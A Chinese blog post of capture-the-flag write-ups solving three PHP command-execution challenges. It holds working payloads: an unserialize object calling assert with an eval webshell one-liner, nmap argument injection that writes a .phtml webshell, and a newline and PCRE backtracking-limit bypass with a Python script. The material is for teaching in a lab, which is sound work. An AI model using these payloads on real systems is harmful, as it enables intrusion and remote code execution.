• buu(rce命令执行)


    目录

    [NPUCTF2020]ReadlezPHP

    [网鼎杯 2020 朱雀组]Nmap

    [FBCTF2019]RCEService


    [NPUCTF2020]ReadlezPHP

    查看源代码发现一个目录,然后访问一下

    1. #error_reporting(0);
    2. class HelloPhp
    3. {
    4. public $a;
    5. public $b;
    6. public function __construct(){
    7. $this->a = "Y-m-d h:i:s";
    8. $this->b = "date";
    9. }
    10. public function __destruct(){
    11. $a = $this->a;
    12. $b = $this->b;
    13. echo $b($a);
    14. }
    15. }
    16. $c = new HelloPhp;
    17. if(isset($_GET['source']))
    18. {
    19. highlight_file(__FILE__);
    20. die(0);
    21. }
    22. @$ppp = unserialize($_GET["data"]);

     $b($a)看见这个以前肯定做过需要用指定的函数,翻看一下以前的文章复习一下

    反谢列话,先尝试一下,system(phpinfo())

    1. #error_reporting(0);
    2. class HelloPhp
    3. {
    4. public $a;
    5. public $b;
    6. public function __construct(){
    7. $this->a = "phpinfo()";
    8. $this->b = "system";
    9. }
    10. }
    11. $c = new HelloPhp;
    12. echo urlencode(serialize($c));
    13. ?>

    发现还是时间没变化,考虑到system是不是被过滤掉了,用assert试一下

    看到环境,果然被过滤了

    在里面发现flag,或者通过一句话木马

     public $a = 'eval($_POST[hack]);'; public $b = "assert";

    然后通过hack可以链接议建,或者自己构造另一种思路

    eval类型函数是代码执行而不是命令执行(一句话木马)

    system类型函数是命令执行而不是代码执行

    assert和eval类似,是代码执行  assert后面不需要;

    [网鼎杯 2020 朱雀组]Nmap

    这道题其实不算是命令执行,主要考察Nmap这个工具,但是也用到了一点就归到这类吧

     写这道题之前需要用到,这些知识

    nmap其他写文件命令:

    -oN (标准输出)

    -oX (XML输出)

    -oS (ScRipT KIdd|3 oUTpuT)

    -oG (Grep输出)

    -oA (输出至所有格式)

    这道题和我做过的题基本一模一样,buuctf(探险2)_偶尔躲躲乌云334的博客-CSDN博客

    [BUUCTF 2018]Online Tool

    打开界面,

     127.0.0.1 -oG hack.php        -oG是直接写入

    我们先来试一下

    说明有过滤的字符,我们依次筛选,发现是php这样就只能使用短标签代替了

    127.0.0.1 -oG h.php  忘记了php被过滤,后缀也一样,用phtml代替127.0.0.1 -oG h.phtml

    显示了上传,可是没有找到这个文件

     其实看到这里我们就能想起来,escapeshellargescapeshellcmd的过滤,这是当成了一整个字符处理,所以不行我们要绕过

    只需要两边加'和空格就可以绕过,并且可以省略127.0.0.1 

    ' -oG p.phtml ' 这里用get传参更加明显

    成功看一下,环境

    获得flag 

    [FBCTF2019]RCEService

    打开界面发现需要用json的方式输入命令,百度一下

    { "name":"兮动人", "age":22, "fruits":["apple","pear","grape"] } 

    这种也就是前面是属性,后面是值,用大括号包起来

    我们尝试一下 ,这个文本框是cmd

    {"cmd":";ls /"}

    黑客的企图被发现了,我想到可能有某种过滤,或者正则,可是没有源码,无从下手

    偷偷跑过去翻隔壁的wp,拿回来了源码

    1. putenv('PATH=/home/rceservice/jail');
    2. if (isset($_REQUEST['cmd'])) {
    3. $json = $_REQUEST['cmd'];
    4. if (!is_string($json)) {
    5. echo 'Hacking attempt detected

      '
      ;
    6. } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    7. echo 'Hacking attempt detected

      '
      ;
    8. } else {
    9. echo 'Attempting to run command:
      '
      ;
    10. $cmd = json_decode($json, true)['cmd'];
    11. if ($cmd !== NULL) {
    12. system($cmd);
    13. } else {
    14. echo 'Invalid input';
    15. }
    16. echo '

      '
      ;
    17. }
    18. }
    19. ?>

     发现真的过滤了好多

    但是他用的是preg_match()函数,只匹配一行,用个换行符搞定

    {%0A"cmd":"ls /"%0A}

    ?cmd={%0A"cmd": "ls /"%0A},如果在文本框输入还需要进行一次url编码,直接在url中写入

    没有发现flag

    putenv('PATH=/home/rceservice/jail');// 设置了环境变量,只能使用当前环境的命令

    改变了当前路径,猜测flag就在这个路径之中

     cmd={%0A"cmd": "ls /home/rceservice/jail"%0A},果然flag在里面直接cat

     那如何调用cat呢,简单,直接用绝对路径调用
    ?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

    方法二

    使用脚本回溯次数超出了限制,让正则失效:

    回溯就是通过请求次数>1000000然后返回flase,如果想防御这个漏洞,可以用强比较

    flase===0  false

    flase==0  true 

    PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌

    import requests
    url="http://bf25a98f-152e-4770-a4b5-6dfe0d4aab20.node4.buuoj.cn:81/"
    payload='{"cmd":"ls /","test":"' + "a"*(1000000) + '"}'
    res=requests.post("http://bf25a98f-152e-4770-a4b5-6dfe0d4aab20.node4.buuoj.cn:81/",data={"cmd":payload})
    print(payload)
    print (res.text)

    然后把payload改为

    payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'

    获得flag

  • 相关阅读:
    如何读取maven依赖的jar包中的代码?
    GZ035 5G组网与运维赛题第10套
    Pr 入门系列之十三:添加字幕
    SQL映射XML文件
    线性DP AcWing 898. 数字三角形
    原生上传文件附件写法和即视查看上传进度过程
    Linux学习-72-GRUB加密方法(2种加密方式)
    浮动布局再续前缘
    程序设计与算法(三)C++面向对象程序设计 第一周 从C到C++ 笔记
    智能化嵌入式设备设计:人工智能与物联网的融合创新
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/126365601